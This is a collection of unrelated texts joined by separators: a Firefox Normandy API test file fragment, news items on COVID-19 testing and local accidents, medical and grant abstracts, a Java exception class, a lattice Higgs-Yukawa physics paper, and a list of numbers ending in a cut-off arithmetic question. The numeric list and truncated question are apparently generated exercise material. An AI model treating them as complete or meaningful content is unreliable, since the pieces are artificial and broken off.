async function test_verifySignedObject_invalid_signature() {
// Get the test recipe and signature from the mock server.
const recipesUrl = await NormandyApi.getApiUrl("recipe-signed");
const recipeResponse = await NormandyApi.get(recipesUrl);
const recipes = await recipeResponse.json();
equal(recipes.length, 1, "Test data has one recipe");
const [{ recipe, signature }] = recipes;
try {
await NormandyApi.verifyObjectSignature(recipe, signature, "recipe");
ok(
false,
"verifyObjectSignature did not throw for an invalid signature"
);
} catch (err) {
ok(
err instanceof NormandyApi.InvalidSignatureError,
"Error is an InvalidSignatureError"
);
ok(/signature/.test(err), "Error is due to an invalid signature");
}
}
)
);
add_task(
withMockApiServer(async function test_classifyClient() {
const classification = await NormandyApi.classifyClient();
Assert.deepEqual(classification, {
country: "US",
request_time: new Date("2017-02-22T17:43:24.657841Z"),
});
})
);
add_task(
withMockApiServer(async function test_fetchExtensionDetails() {
const extensionDetails = await NormandyApi.fetchExtensionDetails(1);
deepEqual(extensionDetails, {
id: 1,
name: "Normandy Fixture",
xpi:
"http://example.com/browser/toolkit/components/normandy/test/browser/fixtures/normandy.xpi",
extension_id: "normandydriver@example.com",
version: "1.0",
hash: "ade1c14196ec4fe0aa0a6ba40ac433d7c8d1ec985581a8a94d43dc58991b5171",
hash_algorithm: "sha256",
});
})
);
add_task(
withScriptServer("query_server.sjs", async function test_getTestServer(
serverUrl
) {
// Test that NormandyApi can fetch from the test server.
const response = await NormandyApi.get(serverUrl);
const data = await response.json();
Assert.deepEqual(
data,
{ queryString: {}, body: {} },
"NormandyApi returned incorrect server data."
);
})
);
add_task(
withScriptServer("query_server.sjs", async function test_getQueryString(
serverUrl
) {
// Test that NormandyApi can send query string parameters to the test server.
const response = await NormandyApi.get(serverUrl, {
foo: "bar",
baz: "biff",
});
const data = await response.json();
Assert.deepEqual(
data,
{ queryString: { foo: "bar", baz: "biff" }, body: {} },
"NormandyApi sent an incorrect query string."
);
})
);
// Test that no credentials are sent, even if the cookie store contains them.
add_task(
withScriptServer("cookie_server.sjs", async function test_sendsNoCredentials(
serverUrl
) {
// This test uses cookie_server.sjs, which responds to all requests with a
// response that sets a cookie.
// send a request, to store a cookie in the cookie store
await fetch(serverUrl);
// A normal request should send that cookie
const cookieExpectedDeferred = PromiseUtils.defer();
function cookieExpectedObserver(aSubject, aTopic, aData) {
equal(
aTopic,
"http-on-modify-request",
"Only the expected topic should be observed"
);
let httpChannel = aSubject.QueryInterface(Ci.nsIHttpChannel);
equal(
httpChannel.getRequestHeader("Cookie"),
"type=chocolate-chip",
"The header should be sent"
);
Services.obs.removeObserver(
cookieExpectedObserver,
"http-on-modify-request"
);
cookieExpectedDeferred.resolve();
}
Services.obs.addObserver(cookieExpectedObserver, "http-on-modify-request");
await fetch(serverUrl);
await cookieExpectedDeferred.promise;
// A request through the NormandyApi method should not send that cookie
const cookieNotExpectedDeferred = PromiseUtils.defer();
function cookieNotExpectedObserver(aSubject, aTopic, aData) {
equal(
aTopic,
"http-on-modify-request",
"Only the expected topic should be observed"
);
let httpChannel = aSubject.QueryInterface(Ci.nsIHttpChannel);
Assert.throws(
() => httpChannel.getRequestHeader("Cookie"),
/NS_ERROR_NOT_AVAILABLE/,
"The cookie header should not be sent"
);
Services.obs.removeObserver(
cookieNotExpectedObserver,
"http-on-modify-request"
);
cookieNotExpectedDeferred.resolve();
}
Services.obs.addObserver(
cookieNotExpectedObserver,
"http-on-modify-request"
);
await NormandyApi.get(serverUrl);
await cookieNotExpectedDeferred.promise;
})
);
|
73% of US physicians can't easily test for COVID-19, survey finds
About 73 percent of U.S. physicians reported being unable to test patients for COVID-19 quickly and easily, according to a recent Doximity survey.
Researchers analyzed data from a survey sent to Doximity members, an online professional network consisting of about 70 percent of U.S. physicians. The survey, sent to registered physicians via email between March 21 and March 24, was completed by 2,615 physicians.
Four survey findings:
1. The majority — 73.3 percent — of U.S. physicians surveyed said they were unable to test patients for COVID-19 quickly and easily, while 17.5 percent were able to and 9.2 percent were unsure.
2. When asked if their hospital or clinic had sufficient medical supplies if the pandemic worsens, 77.5 percent of physicians said no, 12.2 percent said yes and 10.4 percent said they did not know.
3. Almost 70 percent of physicians said the government hadn't taken appropriate measures to support the medical supply chain and ensure that hospitals or clinics had necessary supplies, while 14.9 percent said it had and 15.2 percent were unsure.
4. The majority (59.1 percent) of physicians said there were not enough precautions in their clinical setting to make them feel protected while treating suspected COVID-19 patients, while 33.4 percent said they felt protected and 7.6 percent didn't know.
More articles on public health:
Texas temporarily halts abortions amid COVID-19 pandemic
Coronavirus data surge freezes Washington state's disease-reporting system
62% of US clinicians said their facility can't handle coronavirus patient influx
More articles on public health:
Texas temporarily halts abortions amid COVID-19 pandemic
Coronavirus data surge freezes Washington state's disease-reporting system
62% of US clinicians said their facility can't handle coronavirus patient influx
© Copyright ASC COMMUNICATIONS 2020. Interested in LINKING to or REPRINTING this content? View our policies by clicking here. |
This revised K24 Mid-Career Research and Mentoring Program application describes a succession of mentoring, training, and research activities that will: (1) prepare beginning clinical researchers to become successful patient-oriented investigators in areas relevant to the interests of NIMH;(2) enhance the mentoring capabilities of the Principal Investigator;and (3) build on the theoretical and practical foundations established in current NIMH-funded work to enhance simultaneous care of depression and major medical co-morbidities in general medical settings. The applicant is an experienced patient-oriented researcher with interests in quality of care and outcomes for patients with comorbid physical and psychological conditions and a substantial record of mentoring success. Mentorship will be provided at three levels of commitment: informal, project-specific, and intensive. The intensive program will identify two junior scholars per year through established recruitment mechanisms. The PI will provide scholars with career guidance, help them identify appropriate didactic courses and special experiences, facilitate their research projects, develop new didactic courses, and provide assistance with manuscript preparation, grant writing, and presentational skills. Personal training experiences are designed to enhance the Pi's ability to mentor junior scholars interested in addressing health disparities at the border-zone of medicine and psychiatry, using information technologies to improve quality of care for depression, and conducting research on the treatment of mental health conditions in primary care settings. The Research Plan will build on the theoretical and practical foundations of the ongoing Consumer Influences on Depression Project to collect pilot data on the use of standardized patients to improve quality of care for comorbid depression and chronic medical illness. |
MCR-1 and KPC-2 Co-producing Klebsiella pneumoniae Bacteremia: First Case in Korea.
Klebsiella pneumoniae carbapenemase-producing K. pneumoniae (KPC-KP) has been disseminating nationwide due to clonal spread and is taking a serious action at the national level in Korea. The mobilized colistin resistance (mcr-1) gene confers plasmid-mediated resistance to colistin and is known to be capable of horizontal transfer between different strains of a bacterial species. We have experienced a fatal case of the patient who developed mcr-1-possessing, ST307/Tn4401a[blaKPC-2] K. pneumonia bacteremia in the community of non-capital region after being diagnosed as pancreatic cancer with multiple liver metastases and treated in the capital region. The ST307/Tn4401a[blaKPC-2] K. pneumonia was the most commonly disseminated clone in Korea. Our strain is the first mcr-1 and KPC-2 co-producing K. pneumonia in Korea and our case is the critical example that the multi-drug resistant clone can cause inter-regional spread and the community-onset fatal infections. Fortunately, our patient was admitted to the intensive care unit on the day of visit, and the contact precaution was well maintained throughout and KPC-KP was not spread to other patients. The high risk patients for KPC-KP need to be screened actively, detected rapidly and preemptively isolated to prevent outbreak of KPC-KP. Inter-facility communications are essential and the nationwide epidemiologic data of KPC-KP should be analyzed and reported regularly to prevent spread of KPC-KP. The prompt identification of species and antimicrobial susceptibilities for successful treatment against KPC-KP should be emphasized as well. |
/*
* Copyright (c) 2019, WSO2 Inc. (http://wso2.com) All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
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package org.ballerinalang.langserver.compiler.exception;
/**
* Exception for the Ballerina Compiler failures.
*
* @since 1.0.0
*/
public class CompilationFailedException extends Exception {
public CompilationFailedException(String message) {
super(message);
}
public CompilationFailedException(String message, Throwable cause) {
super(message, cause);
}
}
|
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-1900000
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13000000
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-0.019
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679000
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9700000
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0.015
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-27
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-5.6
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-6.8
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17000000
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0.14
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-0.0000077
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0.1
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0.0000001
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0.0000086
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-1.02
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0.00043
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0
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100
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2200
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0.00205
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57
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11000000
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0.0000012
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-600
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0.6
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-4.47
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-600
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0.049
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0.00181
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-5710000
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-0.02
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-350000
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0.00005
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320
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-160
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-0.0007
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50
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0
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-2060
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-0.13
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-0.0029
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0.47
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-0.00047
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-0.028
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-70
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-1500
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-430
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0.000006
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2000
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0.0001
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0.0000002
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-1300
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0.025
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1200
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0.000044
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0.00002
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3
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-36.7
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-0.0069
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7300
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0.000006
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0.0000633
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800
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-0.14
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-7800
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-0.0086
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2360
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-4.5
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140
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10
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-0.029
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1000000
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-2
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-16000
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-60000
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-12200
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-2.5
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-0.18
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2.3
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0.187
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0.00151
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-170
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9
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-0.0009
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-0.0000115
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4
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-800000
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0.6
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0.000038
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-4110
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-22000000
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0.0001
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0.0008
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5300000
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3070
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-0.000067
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5.7
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430000
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0.0014
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0
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-0.0013
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0.00299
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-0.21
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6000000
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-150
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0
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0.00483
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215
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2000000
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2.05
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20000
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0.0073
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1.01
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5000000
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0.00065
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-0.005
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-0.117
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-34000
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-0.071
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5.3
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0.000002
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11000
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450
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2250000
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-0.25
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5
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690000
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0.13
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0.00008
What is 0.00056931 rou |
Seven people were rushed to Woodhull and Kings County hospitals and were in stable condition Friday morning, according to the FDNY. Two people worked in the deli, and the rest were in the vehicles, witnesses and officials said.
Mohamed Ali, 20, who works in the deli and lives in the building, was asleep in his apartment when the truck hit the building.
"I was asleep, and heard a big [noise] that shook the building for like five seconds," Ali said. "I woke up, I opened the window and I saw the truck outside."
The 20-year-old ran downstairs, where he saw his two cousins Salh and Moud exit the shop with minor injuries.
As of Friday afternoon, Ali and his family were unable to reenter the building while officials checked if it was structurally sound, he said.
"I've lost my job," Ali said. "No work, no house. Terrible."
Police redirected traffic from DeKalb between Bedford Avenue and Skillman Street until about noon Friday.
There have been no arrests or tickets issued as of Friday morning and the investigation is ongoing, police said.
DNAinfo is New York's leading neighborhood news source. We deliver up-to-the-minute reports on entertainment, education, politics, crime, sports, and dining. Our award-winning journalists find the stories - big or small - that matter most to New Yorkers. |
Boy, Two, In Critical Condition After Four-Storey Flat Fall
A two-year-old boy is in a ''critical'' condition in hospital after falling four storeys from the window of a flat in Aberdeen.
The accident happened at about 1.40pm at a block of flats in the Balnagask area of Torry on Monday.
The youngster was initially taken to Royal Aberdeen Children's Hospital before being transferred to the Queen Elizabeth University Hospital in Glasgow, where he is being treated for serious injuries.
He is said to be in a ''stable but critical'' condition.
Police Scotland, which is not treating the incident as a criminal act, said inquires are ''ongoing''.
A spokesman said: ''Police Scotland was made aware of reports at around 1.40pm of a two-year-old boy who had fallen from a window at a property in the Balnagask area of Torry on Monday.
''The youngster was taken to Royal Aberdeen Children's Hospital for initial assessment but has since been transferred to the Queen Elizabeth Hospital in Glasgow, where he is in a critical but stable condition.'' |
---
abstract: 'We explore the phase structure of a four dimensional $SO(4)$ invariant lattice Higgs-Yukawa model comprising four reduced staggered fermions interacting with a real scalar field. The fermions belong to the fundamental representation of the symmetry group while the three scalar field components transform in the self-dual representation of $SO(4)$. The model is a generalization of a four fermion system with the same symmetries that has received recent attention because of its unusual phase structure comprising massless and massive symmetric phases separated by a very narrow phase in which a small bilinear condensate breaking $SO(4)$ symmetry is present. The generalization described in this paper simply consists of the addition of a scalar kinetic term. We find a region of the enlarged phase diagram which shows no sign of a fermion condensate or symmetry breaking but in which there is nevertheless evidence of a diverging correlation length. Our results in this region are consistent with the presence of a single continuous phase transition separating the massless and massive symmetric phases observed in the earlier work.'
author:
- Nouman Butt
- Simon Catterall
- David Schaich
bibliography:
- 'mybib.bib'
date: 14 October 2018
title: '$SO(4)$ invariant Higgs-Yukawa model with reduced staggered fermions '
---
Introduction
============
The motivation for this work comes from recent numerical studies [@Ayyar:2014eua; @Ayyar:2015lrd; @Catterall:2015zua; @He:2016sbs; @Ayyar:2016lxq; @Ayyar:2016nqh; @Catterall:2016dzf; @Schaich:2017czc] of a particular lattice four fermion theory constructed using reduced staggered fermions [@Bock:1992yr]. In three dimensions this theory appears to exist in two phases - a free massless phase and a phase in which the fermions acquire a mass [@Ayyar:2014eua; @Ayyar:2015lrd; @Catterall:2015zua; @He:2016sbs]. What is unusual about this is that no local order parameter has been identified which distinguishes between these two phases - the massive phase *does not* correspond to a phase of broken symmetry as would be expected in a conventional Nambu–Jona-Lasinio scenario. Furthermore, the transition between these two phases is continuous but is not characterized by Heisenberg critical exponents.
When this theory is lifted to four dimensions, however, a very narrow symmetry broken phase reappears characterized by a small bilinear condensate [@Ayyar:2016lxq; @Ayyar:2016nqh; @Catterall:2016dzf; @Schaich:2017czc]. In Ref. [@Catterall:2017ogi] two of us constructed a continuum realization of this lattice theory and argued that topological defects may play an important role in determining the phase structure. This calculation suggests that the addition of a kinetic term for the auxiliary scalar field $\sigma^+$ used to generate the four fermion interaction may allow access to a single phase transition between massless (paramagnetic weak-coupling, PMW) and massive (paramagnetic strong-coupling, PMS) symmetric phases. In this paper we provide evidence in favor of this from direct numerical investigation of the lattice Higgs-Yukawa model. This development presents the possibility of new critical behavior in a four-dimensional lattice theory of strongly interacting fermions, which would be very interesting from both theoretical and phenomenological viewpoints, and also connects to recent activity within the condensed matter community [@Fidkowski:2009dba; @Morimoto:2015lua].
The plan of the paper is as follows: in the next section we describe the action and symmetries of the lattice theory, followed by a discussion of analytical results in certain limits in Sec. \[sec:analytic\]. We present numerical results for the phase structure of the theory in Sec. \[sec:phases\], and extend this investigation in Sec. \[sec:bilin\] by adding symmetry-breaking source terms to the action in order to search for spontaneous symmetry breaking in the thermodynamic limit. These investigations reveal significant sensitivity to the hopping parameter $\kappa$ in the scalar kinetic term, with an antiferromagnetic (AFM) phase separating the PMW and PMS phases for $\kappa \leq 0$ but an apparently direct and continuous transition between the PMW and PMS phases for a range of positive $\kappa_1 < \kappa < \kappa_2$. Our current work constrains $0 < \kappa_1 < 0.05$ and $0.085 < \kappa_2 < 0.125$. We collect these results to present our overall picture for the phase diagram of the theory in Sec. \[sec:diagram\]. We conclude in Sec. \[sec:conc\] by summarizing our findings and outlining future work.
Action and Symmetries
=====================
The action we consider takes the form $$\begin{split}
S = \sum_{x} \psi^a [ \eta.\Delta^{ab} + G\sigma^{+}_{ab} ] \psi^{b} + \frac{1}{4}\sum_{x} (\sigma^{+}_{ab})^2 \\
- \frac{\kappa}{4} \sum_{x,\mu} \left[ \sigma^{+}_{ab}(x) \sigma^{+}_{ab}(x + \mu) + \sigma^{+}_{ab}(x) \sigma^{+}_{ab}(x-\mu) \right]
\label{eq:S}
\end{split}$$ where repeated indices are to be contracted and $\eta^{\mu}(x)=\left(-1\right)^{\sum_{i=1}^{\mu-1}x_i}$ are the usual staggered fermion phases. The discrete derivative is given by $$\Delta_{\mu}^{ab} \psi^{b} = \frac{1}{2}\delta^{ab} [\psi^{b}(x +\mu) - \psi^{b}(x-\mu)].$$ The self-dual scalar field $\sigma^{+}_{ab}$ is defined as $$\sigma^{+}_{ab} = P^{+}_{abcd} \sigma_{cd} = \frac{1}{2} \left[ \sigma_{ab} + \frac{1}{2} \epsilon_{abcd} \sigma_{cd}\right]$$ with $P^{+}$ projecting the antisymmetric matrix field $\sigma(x)$ to its self-dual component.
The second line in eqn. \[eq:S\] is essentially a kinetic operator for the $\sigma^{+}$ field. With $\kappa$ set equal to zero we can integrate out the auxiliary field and recover the pure four fermion model studied in Ref. [@Catterall:2016dzf]. The rationale for including such a bare kinetic term for the auxiliary field is provided by arguments set out for a related continuum model in Ref. [@Catterall:2017ogi]. More concretely, it should be clear that $\kappa>0$ favors ferromagnetic ordering of the scalar field and associated fermion bilinear. This is to be contrasted with the preferred antiferromagnetic ordering observed in Refs. [@Ayyar:2016lxq; @Schaich:2017czc] for the $\kappa=0$ theory.[^1] The competition between these two effects raises the possibility that the $\kappa=0$ antiferromagnetic fermion bilinear condensate may be suppressed as $\kappa$ is increased.
In contrast to similar models studied by Refs. [@Stephenson:1988td; @Hasenfratz:1988vc; @Lee:1989xq; @Lee:1989mi; @Bock:1990cx; @Abada:1990ds; @Hasenfratz:1991it; @Gerhold:2007yb; @Gerhold:2007gx] we fix the coefficient of the $((\sigma^{+})^2 - 1)^2$ term in the action to be $\lambda = 0$. Without this term to provide a constraint on the magnitude of the scalar field, we will encounter instabilities when the magnitude of $\kappa$ is too large. We discuss these instabilities in more detail in the next section.
In addition to the manifest $SO(4)$ symmetry the action is also invariant under a shift symmetry $$\psi(x) \to \xi_{\rho} \psi(x + \rho)$$ with $\xi_\mu(x)=\left(-1\right)^{\sum_{i=\mu}^dx_i}$ and a discrete $Z_2$ symmetry: $$\begin{aligned}
\sigma^{+}& \to - \sigma^{+} \\
\psi^a &\to i\epsilon(x) \psi^a.
\label{eq:Z_2}\end{aligned}$$ Both the $Z_2$ and $SO(4)$ symmetries prohibit local bilinear fermion mass terms from appearing as a result of quantum corrections. Non-local $SO(4)$-symmetric bilinear terms can be constructed by coupling fields at different sites in the unit hypercube but such terms break the shift symmetry. Further discussion of possible bilinear mass terms is presented in detail in Ref. [@Catterall:2016dzf].
\[sec:analytic\]Analytical results
==================================
Before we present numerical results we can analyze the model in certain limits. For example, since the action is quadratic in $\sigma^+$ we can consider the effective action obtained by integrating over $\sigma^+$. The scalar part of the action may be rewritten $$\label{sigmaeq}
\frac{1}{4} \sigma^+\left(-\kappa\Box+m^2\right)\sigma^+$$ where $m^2=\left(1-2d\kappa\right)$ is an effective mass squared for the $\sigma^+$ field in $d$ dimensions and $\Box$ is the usual discrete scalar laplacian. Integrating out $\sigma^+$ yields an effective action for the fermions $$S=\sum\psi \left(\eta .\Delta\right)\psi-G^2\sum \Sigma^+\left[-\kappa\Box+m^2\right]^{-1}\Sigma^+$$ where $\Sigma^{+}_{ab}=\left[\psi_a\psi_b\right]_+$ is the self-dual fermion bilinear. For $\kappa$ small we can expand the inverse operator in powers of $\kappa/m^2$ and find $$S=\sum\psi \left(\eta .\Delta\right)\psi-\frac{G^2}{m^2}\Sigma^+\left({\ensuremath{\mathbb I} }+ \frac{\kappa}{m^2}\Box+\ldots\right)\Sigma^+
\label{effS}.$$ To leading order the effect of non-zero $\kappa$ is to renormalize the Yukawa coupling $G\to \frac{G}{m}=\frac{G}{\sqrt{1-2\kappa d}}$. At next to leading order we obtain the term $$\frac{G^2}{m^4} \sum \Sigma^+ \left[-\kappa \Box\right] \Sigma^+.$$ For $\kappa>0$ and sufficiently large $G$ this term favors a ferromagnetic ordering of the fermion bilinear ${\ensuremath{\left\langle \Sigma^+ \right\rangle} }\ne 0$. Conversely it suggests an antiferromagnetic ordering with ${\ensuremath{\left\langle \epsilon(x)\Sigma^+(x) \right\rangle} }\ne 0$ for $\kappa<0$. This can be seen more clearly if one rewrites the action in the alternative form $$S = \sum \psi \left(\eta.\Delta\right)\psi - G^2 \sum \Sigma^+ \left[-\kappa B + {\ensuremath{\mathbb I} }\right]^{-1} \Sigma^+$$ where $B\Sigma = \sum_{\mu} \left[\Sigma(x + \mu) + \Sigma(x - \mu)\right]$. Clearly changing the sign of $\kappa$ can be compensated by transforming $\Sigma^+ \to \epsilon(x)\Sigma^+$ since $\epsilon(x)$ anticommutes with $B$. Two of us investigated the case $\kappa=0$ in Ref. [@Schaich:2017czc] and observed a narrow phase with antiferromagnetic ordering. Since $\kappa>0$ produces ferromagnetic terms we expect the tendency toward antiferromagnetic ordering to be reduced as $\kappa$ is increased. The numerical results described in the following section confirm this.
For $\kappa>\frac{1}{2d}=\frac{1}{8}$ the squared mass changes sign and one expects an instability to set in with the model only being well defined for $\kappa<\frac{1}{8}$. Actually there is also a lower bound on the allowed values of $\kappa$. To see this return to eqn. \[sigmaeq\] and perform the change of variables $$\begin{aligned}
\label{ktominusk}
\sigma^{+}_{ab}(x) & \to \epsilon(x) \sigma^{+}_{ab}(x) \\
\kappa & \to -\kappa. {\nonumber}\end{aligned}$$ This implies that the partition function $Z\left(\kappa\right)$ is an even function of $\kappa$ at $G=0$. We can show that this is also true in the strong coupling limit $G\to\infty$. In this limit we can drop the fermion kinetic term from the action in eqn. \[eq:S\] and expand the Yukawa term in powers of the fermion field $$Z=\int D\psi D\sigma^+\left(1-G\psi\sigma^+\psi+\frac{1}{2}(G\psi\sigma^+\psi)^2\right)e^{S(\sigma^+)}.$$ The only terms that survive the Grassmann integrations contain even powers of $\sigma^+$. Using the same transformation eqn. \[ktominusk\] allows us to show that the partition function is once again an even function of $\kappa$. Thus we expect that at least for weak and strong coupling the partition function is only well defined in the strip $-\frac{1}{8}<\kappa<\frac{1}{8}$.
It is also instructive to compute the effective action for the scalar fields having integrated out the fermions. This takes the form[^2] $$\label{eq:S-eff}
S_{\text{eff}} = -\frac{1}{4} {\ensuremath{\mbox{Tr}\;} }\ln \left(-\Delta_\mu^2+M^2+G\eta_\mu(x)\epsilon(x)\Delta_\mu\sigma^+\right)$$ where $M^2=-G^2(\sigma^+)^2$. To zeroth order in derivatives the resultant effective potential is clearly of symmetry breaking form. The first non-trivial term in the derivative or large mass $M$ expansion of this action is $$-\frac{G^2}{8M^4}\sum \left(\Delta_\mu\sigma^+\right)^2.$$ Thus even the pure four fermion model will produce kinetic terms for the scalar field through loop effects confirming the need to include such terms in the classical action.[^3] In Ref. [@Catterall:2017ogi] it was argued that an additional term should also be generated which is quartic in derivatives in the continuum limit. This term *only* arises for a self-dual scalar field and leads to the possibility that topological field configurations called Hopf defects may play a role in understanding the massive symmetric phase.
\[sec:phases\]Phase Structure
=============================
![${\ensuremath{\left\langle \sigma^2_{+} \right\rangle} }$ vs $G$ for $L = 8$, comparing $\kappa = \pm0.05$ and 0.[]{data-label="fig:plus"}](plus.pdf){width="48.00000%"}
One useful observable we can use to probe the phase structure in the $\left(\kappa, G \right)$ plane is ${\ensuremath{\left\langle \sigma_{+}^2 \right\rangle} }$. This is shown for three different values of $\kappa$ on a $8^4$ lattice in Fig. \[fig:plus\]. At $\kappa=0$ this observable served as a proxy for the four fermion condensate and we observe this to be the case also when $\kappa\ne 0$. Thus we see that a four fermion phase survives at strong Yukawa coupling $G$ even for non-zero values of $\kappa$.
Of course the key issue is what happens for intermediate values of $G$. At $\kappa=0$ a narrow intermediate phase was observed for $0.95 \lesssim G \lesssim 1.15$ in two different ways: from the volume scaling of a certain susceptibility [@Ayyar:2016lxq] and by examining fermion bilinear condensates as functions of external symmetry breaking sources [@Schaich:2017czc]. This susceptibility is defined as $$\chi_{\text{stag}} = \frac{1}{V} \sum_{x,y,a,b} {\ensuremath{\left\langle \epsilon(x) \psi^a(x)\psi^b(x) \epsilon(y) \psi^a(y)\psi^b(y) \right\rangle} }$$ where $V = L^4$ and the subscript “$_{\text{stag}}$” refers to the presence of the parity factors $\epsilon(x)$ associated with antiferromagnetic ordering. It is shown in Fig. \[fig:sus\_0.0\] for three different lattice volumes at $\kappa = 0$. The linear dependence of the peak height on the lattice volume is consistent with the presence of a condensate ${\ensuremath{\left\langle \epsilon(x)\psi^a(x)\psi^b(x) \right\rangle} } \ne 0$.
![$\chi_{\text{stag}}$ vs $G$ at $\kappa=0$ for $L=4$, 8 and 12.[]{data-label="fig:sus_0.0"}](nsus.pdf){width="48.00000%"}
Since $\kappa<0$ generates additional antiferromagnetic terms in the effective fermion action we expect this bilinear phase to survive in the $\kappa<0$ region of the phase diagram. This is confirmed in our calculations. Figure \[fig:sus\_-0.05\] shows a similar susceptibility plot for $\kappa=-0.05$, in which the width of the broken phase *increases* while the peak height continues to scale linearly with the volume indicating the presence of an antiferromagetic bilinear condensate.
![$\chi_{\text{stag}}$ vs $G$ at $\kappa=-0.05$ for $L=6$, 8 and 12.[]{data-label="fig:sus_-0.05"}](sus_05.pdf){width="48.00000%"}
![$\chi_{\text{stag}}$ vs $G$ at $\kappa=0.05$ for $L=6$, 8 and 12.[]{data-label="fig:sus_0.05"}](sus_005.pdf){width="48.00000%"}
The situation changes for $\kappa>0$. Fig. \[fig:sus\_0.05\] shows the susceptibility $\chi_{\text{stag}}$ for $\kappa=0.05$. While a peak is still observed for essentially the same value of $G$ the height of this peak no longer scales with the volume. Since $\kappa>0$ induces ferromagnetic terms in the action we also examine the associated ferromagnetic susceptibility $$\chi_{\text{f}} = \frac{1}{V} \sum_{x,y,a,b} {\ensuremath{\left\langle \psi^a(x)\psi^b(x) \psi^a(y)\psi^b(y) \right\rangle} }.$$ This is plotted in Fig. \[fig:sus\_s\_0.005\] for $\kappa=0.05$, which shows no evidence of ferromagnetic ordering at this value of $\kappa$. In the appendix we show that $\kappa = 0.1$ is sufficiently large to produce a ferromagnetic phase.
The lack of scaling of the $\chi_{\text{stag}}$ peak with volume at $\kappa=0.05$ might suggest that the system is no longer critical at this point. This is not the case. Figure \[fig:CG\] shows the number of conjugate gradient (CG) iterations needed for Dirac operator inversions at $\kappa=0$ and $\kappa=0.05$ as a function of $G$ for $L=8$. This quantity is a proxy for the fermion correlation length in the system. The peak at $\kappa=0.05$ is significantly greater than at $\kappa=0$. Furthermore we have observed that it increases strongly with lattice size rendering it very difficult to run computations for $L \geq 16$. Our conclusion is that there is still a phase transition around $G\approx 1.05$ for small positive $\kappa$ but no sign of a bilinear condensate. We will reinforce this conclusion in the next section where we will perform an analysis of bilinear vevs versus external symmetry breaking sources.
![The ferromagnetic susceptibility $\chi_{\text{f}}$ vs $G$ at $\kappa=0.05$ for $L=6$, 8 and 12. Unlike the other susceptibility plots, the y-axis scale is not logarithmic.[]{data-label="fig:sus_s_0.005"}](sus_s_005.pdf){width="48.00000%"}
![Average number of CG iterations for Dirac operator inversions on $L = 8$ lattices, plotted vs $G$ for $\kappa = 0$ and 0.05.[]{data-label="fig:CG"}](CG.pdf){width="48.00000%"}
It is interesting to investigate the phase diagram away from the critical region. Figure \[fig:fourvsk\] shows the four fermion condensate vs $\kappa$ at $G = 2$, which vanishes at $|\kappa|=\frac{1}{8}$ as expected by stability arguments. The structure of the curve suggests that there may be a phase transition at $\kappa\approx 0.085$ from a four fermion condensate to a ferromagnetic condensate. This is illustrated by Fig. \[fig:mag\_s\] where for $\kappa>0$ we show the magnetization $$\label{eq:mag}
M = \frac{1}{V} {\ensuremath{\left\langle \left| \sum_x \sum_{a < b} \sigma^{+}_{ab}(x) \right| \right\rangle} }.$$ The behavior near $\kappa\approx -0.085$ in Fig. \[fig:mag\_s\] shows a similar transition from four fermion condensate to antiferromagnetic phase. For $\kappa < 0$ we add the usual parity factor $\epsilon(x)$ to define the staggered magnetization $M_s$.
![Four fermion condensate at $G=2$ vs $\kappa$ for $L=8$.[]{data-label="fig:fourvsk"}](four_+ve.pdf){width="48.00000%"}
![Ferromagnetic and staggered magnetizations at $G=2$ vs $\kappa$ for $L=8$.[]{data-label="fig:mag_s"}](mag_s.pdf){width="48.00000%"}
\[sec:bilin\]Fermion Bilinears
==============================
![Antiferromagnetic bilinear condensate vs $m_2$ (with $m_1 = 0$) at $\left(\kappa, G \right) = (0, 1.05)$ for $L = 8$, 12 and 16.[]{data-label="fig:bilin"}](bi105.pdf){width="48.00000%"}
In this section we add source terms to the action that explicitly break both the $SO(4)$ and $Z_2$ symmetries and, by examining the volume dependence of various bilinear vevs as the sources are sent to zero, address the question of whether spontaneous symmetry breaking occurs in the system. The source terms take the form $$\label{eq:d}
\delta S = \sum_{x,a,b} (m_1 + m_2 \epsilon(x) ) [ \psi^a(x)\psi^{b}(x) ] \Sigma^{ab}_{+}$$ where the $SO(4)$ symmetry breaking source $\Sigma^{ab}_{+}$ is $$\Sigma^{ab}_{+} = \left(\begin{array}{cc}i\sigma_2 & 0\\
0 & i\sigma_2\end{array}\right).$$ For $\kappa =0$ we find evidence in favor of antiferromagnetic ordering consistent with the volume scaling of the susceptibility $\chi_{\text{stag}}$. The antiferromagnetic bilinear vev ${\ensuremath{\left\langle \epsilon(x) \psi^a(x) \psi^b(x) \right\rangle} }$ plotted in Fig. \[fig:bilin\] (with $m_1=0$) picks up a non-zero value in the limit $m_2 \to 0$, $L \to \infty$ signaling spontaneous symmetry breaking. The data correspond to runs at the peak in the susceptibility $G=1.05$, and similar results are found throughout the region $0.95 \lesssim G \lesssim 1.15$. This confirms the presence of the condensate inferred from the linear volume scaling of the susceptibility reported in the previous section.
![Antiferromagnetic bilinear condensate vs $m_2 = m_1$ at $\left(\kappa, G \right) = (-0.05, 1.05)$ for $L = 6$, 8 and 12.[]{data-label="fig:af_bi"}](bi_s.pdf){width="48.00000%"}
For $\kappa<0$ the picture is similar with Fig. \[fig:af\_bi\] showing the same vev vs $m_2=m_1$ for $\kappa = -0.05$ at the same $G = 1.05$. (Recall from Figs. \[fig:sus\_0.0\]–\[fig:sus\_0.05\] that the center of the peak in $\chi_{\text{stag}}$ moves only very slowly for $|\kappa| \leq 0.05$.) The increase in vev with larger volumes at small $m_2$ is again very consistent with the presence of a non-zero condensate in the thermodynamic limit. The magnitude of this condensate at $\kappa = -0.05$ is clearly larger than at $\kappa=0$.
{width="48.00000%"} {width="48.00000%"}
The situation for $\kappa>0$ is quite different. Figure \[fig:cond\_0.05\] shows plots of both antiferromagnetic and ferromagnetic bilinear vevs at $\left(\kappa, G \right) = (0.05, 1.05)$ for several lattice volumes. These plots show no sign of a condensate as the source terms are removed in the thermodynamic limit. Broken phases thus seem to be evaded for small $\kappa>0$. In the appendix we include results for larger $\kappa \geq 0.085$. While we observe a similar absence of bilinear condensates at $\kappa = 0.085$, the expected ferromagnetic phase does clearly appear for $\kappa \approx 0.1$ and we are able to set loose bounds on the range $\kappa_1 < \kappa < \kappa_2$ within which there appears to be a direct PMW–PMS transition, namely $0 < \kappa_1 < 0.05$ while $0.085 < \kappa_2 < 0.125$.
\[sec:diagram\]Resulting phase diagram
======================================
![Sketch of the phase diagram in the $\left(\kappa, G \right)$ plane.[]{data-label="fig:phasediagram"}](phase.pdf){width="48.00000%"}
